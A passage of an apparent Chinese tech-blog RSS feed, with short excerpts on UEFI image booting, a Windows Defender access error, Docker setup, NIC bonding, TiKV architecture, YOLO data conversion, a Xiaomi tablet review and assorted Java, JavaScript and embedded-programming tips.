UEFI引导程序开发的第2篇文章末尾所提到的。&#xA;如果你对整个无盘启动技术熟悉，那么对从本地镜像文件启动的理解，也不会有什么难度。&#xA;本文主要讲述的是在UEFI启动环境下的本地镜像文件启动。&#xA;其实传统的BIOS也可以实现的，但是在传统BIOS下实现起来过于繁琐。&#xA;主要是我不是太熟练传统BIOS环境下16位程序的详细开发过程。&#xA;（CSDN阐述 Legacy BIOS引导程序开发，那个代码基本做于多年前，&#xA;当时也是花了想当多的精力到处查资料，恶补16环境下的程序开发，&#xA;随着传统BIOS渐渐退出历史舞台，对16位程序的开发只会越来越陌生。）&#xA;比如第一个难题就是如何在传统BIOS环境下，实现 NTFS文件系统。&#xA;虽然可以查很早以前关于DOS的实现，&#xA;或者比如WINXP泄露的代码，找到16位环境的NTFS实现，但是我想肯定得花相当多的精力。&#xA;再比如Legacy BIOS中，有部分实现代码必须是放到固定扇区的，&#xA;实现NTFS文件系统的代码也必须放到固定扇区中，就像 windows中的ntldr，bootmgr等这些引导程序一样。&#xA;Legacy BIOS不像 UEFI，&#xA;UEFI全程使用文件系统方式，你不用关心引导文件究竟该放到磁盘哪些扇区位置。&#xA;所以最终也只好放弃，只实现 UEFI 环境下的本地镜像文件启动。&#xA;自己实现本地镜像文件的启动，其实跟网络方式的无盘启动类似，</description>
    </item>
    <item>
      <title>Microsoft Defender打不开，提示win11页面不可用你的it管理员已经限制对此应用解决思路</title>
      <link>https://bchobby.github.io/posts/f7f402a545de6cb0a374cd733c11d9a0/</link>
      <pubDate>Wed, 16 Aug 2023 14:39:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7f402a545de6cb0a374cd733c11d9a0/</guid>
      <description> 如果你在使用 Windows 11 时出现“页面不可用，你的 IT 管理员已经限制对此应用”的错误提示，这意味着你的计算机可能被配置为受控设备，受到了一些安全策略的限制，这些限制可能阻止你访问某些应用或设置。&#xA;由于这个问题导致安装某些应用时被直接删除，无法安装，为此搜寻网上解决之道未果。&#xA;Win+R&#xA;gpedit.msc&#xA;将计算机配置-Windows设置-安全设置-本地策略-安全选项-用户帐户控制：以管理员批准模式运行所有管理员-已禁用&#xA;重启电脑-------无效&#xA;其他各类能搜寻来的方法一一照做，系统顽固，故障依旧（见上图）。当然重装系统肯定能解决，但这不是我想要的结果：不重装系统就能够正常安装使用特定应用程序。 于是转变思路，放弃Microsoft Defender系统组件中的Microsoft Corporation（微软杀毒），改用360杀毒软件替代它。虽然仍有“提示win11页面不可用你的it管理员已经限制对此应用”，但解决了安装特定软件的目的。&#xA;以上截图为安装360杀毒前，360杀毒安装之后见下面的截图&#xA;这个定期扫描开关始终无法打开，只要不影响安装其他应用，不管它了。 </description>
    </item>
    <item>
      <title>【Docker】基于Ubuntu安装Docker和配置加速镜像</title>
      <link>https://bchobby.github.io/posts/30adba6b16880d8db858a74271a01813/</link>
      <pubDate>Wed, 16 Aug 2023 14:13:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30adba6b16880d8db858a74271a01813/</guid>
      <description>更新软件列表 sudo apt update 更新软件 sudo apt-get upgrade 安装Docker依赖 sudo apt install apt-transport-https ca-certificates curl software-properties-common 添加Docker官方GPG密钥用于软件包验证。 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg 添加Docker存储库 echo &#34;deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable&#34; | sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null 安装Docker引擎 sudo apt install docker-ce docker-ce-cli containerd.io 启动Docker服务 sudo systemctl start docker 添加自动启动Docker服务 sudo systemctl enable docker 打印Docker版本查看是否安装成功 docker --version 安装docker-compose sudo apt install docker-compose 添加加速镜像 sudo mkdir -p /etc/docker 下面从“sudo”到“EOF”一起复制粘贴到命令行使用 sudo tee /etc/docker/daemon.</description>
    </item>
    <item>
      <title>idea打war包的两种方式</title>
      <link>https://bchobby.github.io/posts/925f2b5e2eb20064015895272f115819/</link>
      <pubDate>Wed, 16 Aug 2023 13:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/925f2b5e2eb20064015895272f115819/</guid>
      <description>idea打war包的两种方式 idea打war包方式一方式二:通过maven插件打包maven构建过程，Lifecyclemvn clean ----- 【清理】mvn compile — 【编译】mvn test-------- 【测试】mvn package----【打包】mvn install 使用idea自带的打包方式（多module时maven打包插件不管用）问题1：项目近期要上线，在对SpringCloud项目进行打包时，先是打包报错，找不到依赖的entity、utils等module项目问题2：项目在IDEA中可以正常运行，但是打包后运行jar包，还是找不到依赖module的CLASS Springboot项目打成War包和Jar包的区别以及如何转换 idea打war包 方式一 打war包快捷键：Ctrl+Shift+Alt+S&#xA;执行完上述操作之后参考下图：&#xA;最后再按照下图操作：&#xA;最后再对应的文件夹下面就会生成我们的war包：&#xA;方式二:通过maven插件打包 maven构建过程，Lifecycle mvn clean ----- 【清理】 将编译（mvn compile）产生的【target】文件夹删除掉，但是不会删除本地的maven仓库已经生成的jar文件。&#xA;mvn compile — 【编译】 在项目根目录生【target】目录，里面包含【classes】文件夹，里面是已经编译好的java类（.class文件）&#xA;mvn test-------- 【测试】 会先生成target文件夹，里面有【classes】和【test-classes】文件夹，所 以执行mvn test命令时，会先编译项目，在执行测试代码&#xA;mvn package----【打包】 看到项目的根目录下【编译】后生成的【target】文件夹中多了一个Hello-0.0.1-SNAPSHOT.jar，这个Hello-0.0.1-SNAPSHOT.jar就是打包成功之后Maven帮我们生成的jar文件，package命令会先执行编译再执行打包&#xA;mvn install 是把maven构建项目的【清理clean】→【编译】→【测试】→【打包】的这几个过程都做了，同时将打包好的jar包发布到本地的Maven仓库中，所以maven最常用的命令还是&#34;mvn install&#34;，这个命令能做的事情最多，所以这个最常用&#xA;maven在执行一个生命周期的命令的是时候将会执行之前的所有生命周期操作，比如执行mvn install，会执行前面一系列的动作包括 compile , package , test 等，具体请查看maven的官方文档。这个特性使maven的命令更加简洁易用。&#xA;详细请参考：&#xA;maven的debugg信息非常完备，需要查看debug信息只要在命令后面添加 -X 参数即可，如：&#xA;mvn clean package -X 就能看到非常丰富的DEBUG信息。&#xA;使用idea自带的打包方式（多module时maven打包插件不管用） 问题1：项目近期要上线，在对SpringCloud项目进行打包时，先是打包报错，找不到依赖的entity、utils等module项目 解决1：此情况下，IDEA打包顺序应该为:clean–&amp;gt;compile–&amp;gt;install，好了，打包完成。但是遇到问题2&#xA;问题2：项目在IDEA中可以正常运行，但是打包后运行jar包，还是找不到依赖module的CLASS 解决2：在parent（也就是父module）的pom.xml文件中，加入如下代码：&#xA;&amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>网口bond配置</title>
      <link>https://bchobby.github.io/posts/d3828d8e8c89c4999d524f769a3c3cfc/</link>
      <pubDate>Wed, 16 Aug 2023 12:10:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3828d8e8c89c4999d524f769a3c3cfc/</guid>
      <description>在实际环境中，通常都要配置bond，起到一个冗余和负载均衡的作用，提高保障，接下来介绍bond的配置 一、拷贝需要配置的网卡配置文件到home目录（该步骤起到一个备份作用） 1、cd /etc/sysconfig/network-scripts/，执行cp ./ifcgf-* /home&#xA;二、创建bond配置文件 1、vim /etc/sysconfig/network-scripts/ifcfg-bond0，把下面的配置文件写入配置文件当中&#xA;DEVICE=bond0&#xA;TYPE=Ethernet&#xA;NM_CONTROLLED=yes&#xA;IPADDR=IP&#xA;NETMASK=子网掩码&#xA;GATEWAY=网关&#xA;USERCTL=no #可写可不写&#xA;BOOTPROTO=static&#xA;ONBOOT=yes&#xA;BONDING_MASTER=yes&#xA;BONDING_OPTS=&#39;mode=4 miimon=100 xmit_hash_policy=layer3+4&#39; #（3+4层模式=IP+端口），这里为mode4，需要在交换机端配置动态链路聚合&#xA;三、将网卡1加入bond vim /etc/sysconfig/network-scripts/ifcfg-网卡名称&#xA;修改成如下：&#xA;DEVICE=网卡名称&#xA;TYPE=Ethernet&#xA;ONBOOT=yes&#xA;BOOTPROTO=none&#xA;MASTER=bond0 #需要和上面 ifcfg-bond0配置文件中的DEVICE的值对应&#xA;SLAVE=yes&#xA;四、将网卡2加入bond vim /etc/sysconfig/network-scripts/ifcfg-网卡名称&#xA;修改成如下：&#xA;DEVICE=网卡名称&#xA;TYPE=Ethernet&#xA;ONBOOT=yes&#xA;BOOTPROTO=none&#xA;MASTER=bond0 #需要和上面 ifcfg-bond0配置文件中的DEVICE的值对应&#xA;SLAVE=yes&#xA;五、重启网络，查看网卡speed service network restart&#xA;ethtool bond0（bond1）</description>
    </item>
    <item>
      <title>TiKV 新架构：Partitioned Raft KV 原理解析</title>
      <link>https://bchobby.github.io/posts/572507918de1f441a76fcbefb8408b93/</link>
      <pubDate>Wed, 16 Aug 2023 11:59:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/572507918de1f441a76fcbefb8408b93/</guid>
      <description>导读 TiKV 推出了名为“partitioned-raft-kv”的新实验性功能，该功能采用一种新的架构，不仅可以显著提高 TiDB 的可扩展性，还能提升 TiDB 的写吞吐量和性能稳定性。&#xA;架构 以下是 TiKV 的架构。&#xA;图 1 TiKV 架构 —— 逻辑数据分区&#xA;一个 TiKV 集群由许多数据分区（也称为 Region）组成。每个 Region 负责特定的数据片段，由其起始和结束键范围决定。它在不同的 TiKV 节点上拥有 3 个或更多的副本，并通过 raft 协议进行同步。在旧的 raft 引擎中，每个 TiKV 中只有一个 RocksDB 实例用于存储所有 Region 的数据。partitioned-raft-KV 特性引入了一个新的物理数据布局：每个 Region 都有自己的 RocksDB 实例。&#xA;图 2：物理数据布局比较&#xA;旧 Raft KV 引擎面临的挑战 &#34;Region&#34; 是 TiKV 中的逻辑规模单元。每个数据访问和管理操作，如负载均衡、扩展和缩小都由 Region 进行分区。然而，在当前架构中，它是一个纯逻辑概念，物理上没有清晰的区域边界。这意味着：&#xA;1.当需要将一个 Region 的数据从一个 TiKV 移动到另一个 TiKV（也称为负载均衡）时，TiKV 需要在巨大的 RocksDB 实例中进行扫描以获取该 Region 的数据。这造成了读扩大。&#xA;2.当几个 Region 具有大量的写流量时，如果它们的键范围分散，那么很可能会触发 RocksDB 中的大型压缩，其中包括其他空闲 Region 的数据。这引入了读和写扩大。例如，SST11 是一个 1MB 大小的 SST，只有 region1 的数据，但包含相当大的键范围。当它被选中合并到 L2 时，SST21、SST22 和 SST23 都参与了压缩，它们包含了 region2、3、4 的数据。TiKV 的规模越大，读写扩大越大。</description>
    </item>
    <item>
      <title>yolo数据集 标签格式转换以及数据集划分</title>
      <link>https://bchobby.github.io/posts/9bb5df99924615d13b9bc9459faf8b87/</link>
      <pubDate>Wed, 16 Aug 2023 11:24:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bb5df99924615d13b9bc9459faf8b87/</guid>
      <description>1 xml格式转txt格式 import xml.etree.ElementTree as ET import pickle import os from os import listdir, getcwd from os.path import join import glob classes = [&#34;&#34;, &#34;&#34;, &#34;&#34;, &#34;&#34;] #这里是需要改的第一个地方，写入自己的标签类型，不可多写，不可少写 def convert(size, box): dw = 1.0 / size[0] dh = 1.0 / size[1] x = (box[0] + box[1]) / 2.0 y = (box[2] + box[3]) / 2.0 w = box[1] - box[0] h = box[3] - box[2] x = x * dw w = w * dw y = y * dh h = h * dh return (x, y, w, h) def convert_annotation(image_name): in_file = open(&#34;</description>
    </item>
    <item>
      <title>小米平板6 Max 14评测：4窗口显示就是爽 多任务体验可媲美PC</title>
      <link>https://bchobby.github.io/posts/f8ddacf212f0974a42a511fb7fe14805/</link>
      <pubDate>Wed, 16 Aug 2023 00:16:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8ddacf212f0974a42a511fb7fe14805/</guid>
      <description>一、前言：小米发布新款14英寸超大屏平板 专注生产力体验&#xA;加上网课、居家办公的普及，再加上各大手机厂商都开始搭建起自家的生态，尤其平板这个以往不被重视的品类，也开始找到了它自身的定位。&#xA;尤其在2023年上半年发布的小米平板6 Pro，旗舰机配置、不俗的品质、实惠的售价，一经推出纷纷直呼“真香”！&#xA;时隔半年，小米又推出了这款尺寸更大的小米平板6 Max 14，在原有骁龙8+、LPDDR5X、UFS 3.1旗舰三件套的配置上，还引入了不少新功能。&#xA;1、高素质的14英寸至尊超大屏&#xA;从小米平板6 Max 14这个命名，14英寸屏幕主打的就是“巨无霸”，显示面积比自家11英寸的小米平板还要大了62%，比12.4英寸的小米平板还要大28%，极具视觉冲击力。&#xA;这款14英寸平板将屏幕做到更大的同时，每片屏幕都经过了出厂校色，2.8K分辨率、120Hz，还支持P3色域显示，HDR10、杜比世界，保证了出色的显示效果。&#xA;配合覆盖了高中低频的8扬声器系统，这也是小米有史以来外放效果最好的小米平板，在观影时可以带来更沉浸的视听感。&#xA;2、生产力更进一步 带来全新模式工作台&#xA;在生产力上，这款小米平板6 Max进一步挖掘出了它自身的潜力，带来了专为大屏打造的工作台模式。&#xA;这也是为了充分利用14英寸大屏的优势，毕竟日常生产力时，都是一个窗口运行多个任务，传统平板模式只能一个一个来回切换，这也是为什么效率自然不如PC。&#xA;而这工作台模式下，所有程序默认以窗口形式打开，可4个窗口同时显示，一边刷资讯一边做笔记一边查资料，这些都能在一个屏幕内实现，让娱乐性、生产力上的体验也取得了质的飞跃。&#xA;为了提升生产力，小米还将PC上的WPS移植到这款平板上，保留了PC用户最熟悉的操作，最大程度减少了用户的操作门槛。&#xA;3、全新键笔带来完全体形态 化身为二合一笔记本&#xA;既然主打生产力方面，搭配键笔套装也是必不可少，能够将平板化身为“二合一笔记本”，多变的形态足够灵活。&#xA;小米就为这款平板带来了全新的分体式智能触控键盘和焦点触控笔，从而实现PC级的操作，满足多种使用场需求需求，堪称是生产力神器。&#xA;接下来，快科技就对这款小米平板6 Max 14来体验一波。&#xA;二、外观：14英寸超大屏带来更沉浸体验 搭配键笔化身二合一笔电&#xA;小米平板6 Max正面搭载了14英寸的LCD屏，2880×1800的分辨率、120Hz的刷新率，最高亮度可达600nits。&#xA;每一块屏幕都经过了色彩校准，支持HDR10、杜比视界、专业原色显示。&#xA;可以与小米MIX Fold 3、小米13 Ultra、小米电视大师86&#34;保持了高度的色彩一致性，显示效果自然不需要担心。&#xA;也因为屏幕更大，在日常玩游戏、看剧时，会让你更有沉浸感。&#xA;背面造型非常简约，仅有左上角的小米LOGO和 右上角5000万像素的摄像模组，边框和后盖都采用了全金属材质，极具质感。&#xA;顶部和底部中框一览，厚度仅有6.53mm，整机重约750g，虽然不算重，但尺寸太大了，并不算好拿，建议日常搭配磁吸键盘，可以自由摆放，使用时也不会太累手。&#xA;整机共有4个中低音单元+4个高音单元组成的8扬声器，支持杜比全景声、MiSound，带来极具沉浸感的听觉体验。&#xA;4麦克风可以在视频、语音时抑制环境噪音，只聚焦你的声音，更清晰的通话效果有助于提升双方沟通的效率。&#xA;配合磁吸键盘鼠标，就可以将小米平板6 Max化身为轻巧的可移动笔记本，还同时兼顾到支架和保护套的作用。&#xA;配合正面的TOF激光传感器，人来时可以亮屏解锁，人走就能自动锁屏，兼顾了便利和隐私，非常方便。&#xA;这智能触控键盘采用了触点和蓝牙双模连接，使用方式更加灵活。&#xA;后面的支架，在观影、办公、绘画时，都可以调到最舒服的角度。&#xA;我们收到的还有焦点触控笔，支持8192级压感、5nm低延迟，还是非常跟手的，平常不用时放在平板顶就可以自动充电，因为有磁吸，所以日常也不用担心会掉下来。&#xA;上面的按键分别是速记键、截图键、焦点键。&#xA;速记键点一下屏幕就能直接新建笔记，配合截图键，在APP内也能当做上下翻页键使用。&#xA;焦点触控笔可当做激光笔来使用，很合适在开会时这类场景演示时标注重点，动图体验在下面生产力章节部分。&#xA;为了带来更好的输入体验，小米的智能触控键盘使用了全尺寸大16mm大按键、19mm大间距、1.3nn键程，在体验上与笔记本差别并不大。&#xA;并且还带来了15个全新独立按键(顶部13个+底部语音输入键、任务键)，从而实现一键禁用麦克风、切换屏幕亮度、音量大小、一键锁屏等操作。&#xA;底部的83.8㎡的触控板，也很接近PC触控板的大小，可通过多指手势来实现不同的操作。&#xA;比如可以双指向左右滑动可以返回上一级，三指下滑就实现截屏、三指上划停顿可以呼出最近任务。&#xA;三、生产力体验：工作台模式可实现4窗同时运行 照片编辑更专业直观&#xA;——工作台模式&#xA;左为正常桌面，右为工作台模式。&#xA;在工作台模式下，与传统桌面不同的是，去掉了常规的干扰信息，仅保留了底部Dock栏，所有的应用都可以通过Dock栏的左下角的“全部应用”图标打开二级菜单。&#xA;工作台模式的桌面看起来更清爽的同时，也有PC级桌面那味道了。&#xA;在工作台模式中，交互也与传统平板模式有所不同。&#xA;在这个模式下，所有的应用以窗口形式打开，最多可实现3个窗口+1个浮窗，每个窗口都能独立运行。&#xA;而传统平板模式下，最多只能显示2个窗口，包括浮窗，应用以全屏形式打开。&#xA;这样的好处就是，你可以在小米平板6 Max上，一边聊天一边刷剧一边码字一边查资料，避免了应用之间来回切换。&#xA;笔者觉得在工作台模式下，与PC相同逻辑的多任务体验上也更便捷，操作也更高效，使用过程也更爽一些。</description>
    </item>
    <item>
      <title>几个实用的JavaScript编写技巧(下)</title>
      <link>https://bchobby.github.io/posts/e05de488d10dbbd2667ac9cea5b7d864/</link>
      <pubDate>Tue, 15 Aug 2023 20:34:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e05de488d10dbbd2667ac9cea5b7d864/</guid>
      <description>下面继续我们JavaScript编写技巧的学习&#xA;5. 熟练地实现For循环 如果您仍在 JavaScript 中使用 C/C++ 风格的 for 循环，那么，您肯定需要提升您的技能。&#xA;下面的代码是没问题的，但是他还不够JavaScript&#xA;const arr = [&#39;Y&#39;, &#39;a&#39;, &#39;n&#39;, &#39;g&#39;] for (let i = 0; i &amp;lt; arr.length; i++) { console.log(arr[i]) } // Y // a // n // g 在编写JavaScript代码中，推荐使用数组方法代理for循环&#xA;forEach forEach 方法非常适合迭代数组的元素：&#xA;const author = [ &#39;Y&#39;, &#39;a&#39;, &#39;n&#39;, &#39;g&#39; ]; author.forEach((c)=&amp;gt;{console.log(c)}) // Y // a // n // g map() 如果您阅读开源 JavaScript 程序，您可能会遇到 map() 函数。它是 JavaScript 中最流行的方法之一&#xA;const author = [ &#39;Y&#39;, &#39;a&#39;, &#39;n&#39;, &#39;g&#39; ]; author.</description>
    </item>
    <item>
      <title>基于javaweb&#43;mysql的springboot在线小说阅读系统(前后端分离&#43;java&#43;vue&#43;springboot&#43;ssm&#43;mysql&#43;maven)</title>
      <link>https://bchobby.github.io/posts/75df9e7fd287f310437c7d95b0e03c1d/</link>
      <pubDate>Tue, 15 Aug 2023 19:25:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75df9e7fd287f310437c7d95b0e03c1d/</guid>
      <description>基于javaweb+mysql的springboot在线小说阅读系统(前后端分离+java+vue+springboot+ssm+mysql+maven)&#xA;运行环境&#xA;Java≥8、MySQL≥5.7、Node.js≥10&#xA;开发工具&#xA;后端：eclipse/idea/myeclipse/sts等均可配置运行&#xA;前端：WebStorm/VSCode/HBuilderX等均可&#xA;适用&#xA;课程设计，大作业，毕业设计，项目练习，学习演示等&#xA;功能说明&#xA;基于javaweb+mysql的SpringBoot在线小说阅读系统(前后端分离+java+vue+springboot+ssm+mysql+maven)&#xA;一、项目简述&#xA;本系统功能包括： 普通用户端登录注册，小说的分类，日榜，月榜，年榜， 小说的阅读，分章节，小说的评论，收藏，推荐等等，以 及后台小说的维护，上架，编辑等等。&#xA;二、项目运行&#xA;环境配置： Jdk1.8 + Tomcat8.5 + Mysql + HBuilderX (Webstorm也 行)+ Eclispe (IntelliJ IDEA,Eclispe,MyEclispe,Sts都支 持)。&#xA;项目技术： Springboot + Maven + Mybatis + Vue , B/S 模式+ Maven等等&#xA;@GetMapping(&#34;/count&#34;) @ApiOperation(&#34;查询Recommend&#34;) public ResponseObject getCount(Integer novel_id) { log.info(&#34;查询Recommend&#34;); if (novel_id == null) { throw new ControllerException(&#34;novel_id不可为null&#34;); } else { return new ResponseObject(&#34;200&#34;, &#34;操作成功&#34;, recommendService.selectByNovel_id(novel_id).size()); } } @GetMapping(&#34;/novel&#34;) @ApiOperation(&#34;</description>
    </item>
    <item>
      <title>linux开放端口-centos与unbutu</title>
      <link>https://bchobby.github.io/posts/8025db03aaa592ec8373a28ed56236b4/</link>
      <pubDate>Tue, 15 Aug 2023 15:48:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8025db03aaa592ec8373a28ed56236b4/</guid>
      <description> centos // 查看已开放的端口 firewall-cmd --list-ports // 开放端口（开放后需要要重启防火墙才生效） firewall-cmd --zone=public --add-port=3338/tcp --permanent // 重启防火墙 firewall-cmd --reload // 关闭端口（关闭后需要要重启防火墙才生效） firewall-cmd --zone=public --remove-port=3338/tcp --permanent // 开机启动防火墙 systemctl enable firewalld // 开启防火墙 systemctl start firewalld // 查看防火墙状态 firewall-cmd --state // 禁止防火墙开机启动 systemctl disable firewalld // 停止防火墙 systemctl stop firewalld unbutu // 开放端口 sudo ufw allow 7001/tcp //查看开放状态 sudo ufw status //关闭防火墙 sudo ufw disable //开启防火墙 sudo ufw enable </description>
    </item>
    <item>
      <title>vue3.0 element-plus 不同版本 el-popover 循环优化</title>
      <link>https://bchobby.github.io/posts/48dd979f0458318d2d9f63bf5a4e1f91/</link>
      <pubDate>Tue, 15 Aug 2023 15:47:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48dd979f0458318d2d9f63bf5a4e1f91/</guid>
      <description>表格内循环el-popover 渲染以后的页面，数据量很大的时候页面会卡，生成的代码：&#xA;解决思路：将el-popover提出来，不参与循环，让el-popover只渲染一次&#xA;1、以1.1.0-beta.24版为例（低版本）&#xA;红色下划线部分是关键点&#xA;v-popover的值与el-popover的ref值要一致&#xA;2、以2.3.9版为例（当前新版本）&#xA;与低版本不同， v-popover被弃用了&#xA;以官方文档为例&#xA;:virtual-ref 可以直接传dom，这样变得更简单了，主需要把需要操作的控件对应的dom直接赋值给变量，传给:virtual-ref就行，举例：</description>
    </item>
    <item>
      <title>STM32--数码管显示使用</title>
      <link>https://bchobby.github.io/posts/f893e5c81c24bd91dd706f07366c57db/</link>
      <pubDate>Tue, 15 Aug 2023 15:38:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f893e5c81c24bd91dd706f07366c57db/</guid>
      <description>STM32 – 数码管显示 简介 1.硬件部分&#xA;STM32F103C8T6 最小系统板 一位共阴数码管&#xA;2.软件部分&#xA;Keil软件编程 数码管码表&#xA;硬件部分 数码管 简介 数码管，也称作辉光管，是一种可以显示数字和其他信息的电子设备。玻璃管中包括一个金属丝网制成的阳极和多个阴极。大部分数码管阴极的形状为数字。管中充以低压气体，通常大部分为氖加上一些汞和/或氩。给某一个阴极充电，数码管就会发出颜色光，视乎管内的气体而定，一般都是橙色或绿色。&#xA;分类 数码管也称LED数码管，不同行业人士对数码管的称呼不一样，其实都是同样的产品。&#xA;按发光二极管单元连接方式可分为共阳极数码管和共阴极数码管。共阳数码管是指将所有发光二极管的阳极接到一起形成公共阳极(COM)的数码管，共阳数码管在应用时应将公共极COM接到+5V，当某一字段发光二极管的阴极为低电平时，相应字段就点亮，当某一字段的阴极为高电平时，相应字段就不亮。共阴数码管是指将所有发光二极管的阴极接到一起形成公共阴极(COM)的数码管，共阴数码管在应用时应将公共极COM接到地线GND上，当某一字段发光二极管的阳极为高电平时，相应字段就点亮，当某一字段的阳极为低电平时，相应字段就不亮。&#xA;1.共阳数码管 共阳数码管在应用时应将公共极COM接到+5V，当某一字段发光二极管的阴极为低电平时，相应字段就点亮，当某一字段的阴极为高电平时，相应字段就不亮。&#xA;2.共阴数码管 对于共阴极数码管来说，当某个发光二极管的阳极为高电平时，发光二极管点亮，相应的段被显示。同样，共阳极数码管的阳极连接在一起，公共阳极接+5V，当某个发光二极管的阴极接低电平时，该发光二极管被点亮，相应的段被显示&#xA;数码管码表 unsigned char code smgduan[17] ={0xc0, 0xf9, 0xa4, 0xb0, 0x99, 0x92, 0x82, 0xf8, 0x80, 0x90, 0x88, 0x83, 0xc6, 0xa1, 0x86, 0x8e};//共阳数码管 unsigned char code smgduan[17]={0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07, 0x7f,0x6f,0x77,0x7c,0x39,0x5e,0x79,0x71};共阴数码管 静态数码管硬件电路设计 实物 软件部分 /********************************************************************** * 文件名 ：smg.c * 描述 ：smg 应用函数库 * 硬件连接：----------------- * | PA0 - A | * | PA1 - B | * | PA2 - C | * | PA3 - D | * | PA4 - E | * | PA5 - F | * | PA6 - G | * | PA7 - DP | * ----------------- *********************************************************************/ #include &#34;</description>
    </item>
    <item>
      <title>Matlab评价模型--灰色关联度分析</title>
      <link>https://bchobby.github.io/posts/03b53968d324366eba24931441ec60c6/</link>
      <pubDate>Tue, 15 Aug 2023 15:12:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03b53968d324366eba24931441ec60c6/</guid>
      <description>评价模型–灰色关联度分析 灰色关联度分析 基本思想 灰色关联分析的基本思想 是根据序列曲线几何形状的相似程度来判断其联系是否紧密，曲线越接近，相应序列之间的关联度就越大，反之则越小。&#xA;此方法可用于 进行系统分析，也可应用于对问题进行综合评价。&#xA;分析主要，次要因素 一般的抽象系统，如社会系统、经济系统、农业系统、生态系统、教育系统等都包含有许多种因素,多种因素共同作用的结果决定了该系统的发展态势。人们常常希望知道在众多的因素中，哪些是主要因素，哪些是次要因素；哪些因素对系统发展影响大，哪些因素对系统发展影响小；哪些因素对系统发展起推动作用需强化发展，哪些因素对系统发展起阻碍作用需加以抑制；这些都是系统分析中人们普遍关心的问题。例如，粮食生产系统,人们希望提高粮食总产量，而影响粮食总产量的因素是多方面的，有播种面积以及水利、化肥、土壤、种子、劳力、气候、耕作技术和政策环境等。为了实现少投人多产出，并取得良好的经济效益、社会效益和生态效益，就必须进行系统分析。&#xA;案例分析 多因素指标，对于一个单因素指标的影响(灰色关联度分析) 原理分析 求解关联度大小&#xA;多因素指标，对于多因素指标的影响(灰色关联度分析) 在次案例中，5项投资是待比较数列亦即子因素，而6项收人则为参考数列亦即母因素。这里取分辨率p=0.5。&#xA;clc; close; clear all; % 控制输出结果精度 format short; % 原始数据 x=[308.58 310 295 346 367 195.4 189.9 187.2 205 222.7 24.6 21 12.2 15.1 14.57 20 25.6 23.3 29.2 30 18.98 19 22.3 23.5 27.655 170 174 197 216.4 235.8 57.55 70.74 76.8 80.7 89.85 88.56 70 85.38 99.83 103.4 11.19 13.28 16.82 18.9 22.</description>
    </item>
    <item>
      <title>mybatis动态表名(分库分表)</title>
      <link>https://bchobby.github.io/posts/687bd8d8240c3ee42564793468f4bd53/</link>
      <pubDate>Tue, 15 Aug 2023 15:04:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/687bd8d8240c3ee42564793468f4bd53/</guid>
      <description>//测试代码 @RestController public class UserController { @Resource private UserMapper userMapper; @Autowired MysqlTbNameUtil mysqlTbNameUtil; @GetMapping(&#34;/selectByAge&#34;) @ResponseBody public Object selectByAge() { return mysqlTbNameUtil.getMapperPlus(UserMapper.class, &#34;tb001&#34;).selectByAge(27); // return userMapper.selectByAge(27); } @GetMapping(&#34;/selectByAge2&#34;) @ResponseBody public Object selectByAge2() { return mysqlTbNameUtil.getMapperPlus(UserMapper.class, &#34;tb001&#34;).selectByAge2(27); // return userMapper.selectByAge2(27); } @GetMapping(&#34;/selectByAgeAndName&#34;) @ResponseBody public Object selectByAgeAndName() { return mysqlTbNameUtil.getMapperPlus(UserMapper.class, &#34;tb001&#34;).selectByAgeAndName(1, &#34;ctl&#34;); // return userMapper.selectByAgeAndName(1, &#34;ctl&#34;); } @GetMapping(&#34;/selectByAgeAndName2&#34;) @ResponseBody public Object selectByAgeAndName2() { return mysqlTbNameUtil.getMapperPlus(UserMapper.class, &#34;tb001&#34;).selectByAgeAndName2(1, &#34;ctl&#34;); // return userMapper.selectByAgeAndName2(1, &#34;ctl&#34;); } @GetMapping(&#34;</description>
    </item>
    <item>
      <title>java POI 下载Excel自定义模板 导入Excel 导出Excel</title>
      <link>https://bchobby.github.io/posts/e7b2822dad383050cf65ab98f61d4feb/</link>
      <pubDate>Tue, 15 Aug 2023 11:25:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7b2822dad383050cf65ab98f61d4feb/</guid>
      <description>一、应用场景 1.点击导入按钮，弹出导入框&#xA;2.点击下载模板，用户在模板中填入数据&#xA;3.导入模板数据&#xA;4.经过一系列处理后，根据模板导出数据&#xA;二、下载Excel模板 public void downloadTemplate(HttpServletResponse response) { String newFileName = null; try { // URLEncoder.encode可以防止中文乱码 newFileName = URLEncoder.encode(&#34;模板名称&#34;, &#34;UTF-8&#34;).replaceAll(&#34;\\+&#34;, &#34;%20&#34;); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } // 当客户端请求的资源是一个可下载的资源（这里的“可下载”是指浏览器会弹出下载框或者下载界面）时，对这个可下载资源的描述（例如下载框中的文件名称）就是来源于该头域。 response.setHeader(&#34;Content-disposition&#34;, &#34;attachment;filename*=utf-8&#39;&#39;&#34; + newFileName + &#34;.xlsx&#34;); // 服务器告诉浏览器它发送的数据属于什么文件类型，也就是响应数据的MIME类型 response.setContentType(&#34;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&#34;); response.setCharacterEncoding(&#34;utf-8&#34;); // 关闭缓存（HTTP/1.1） response.setHeader(&#34;Cache-Control&#34;, &#34;no-store&#34;); // 关闭缓存（HTTP/1.0） response.setHeader(&#34;Pragma&#34;, &#34;no-cache&#34;); // 缓存有效时间 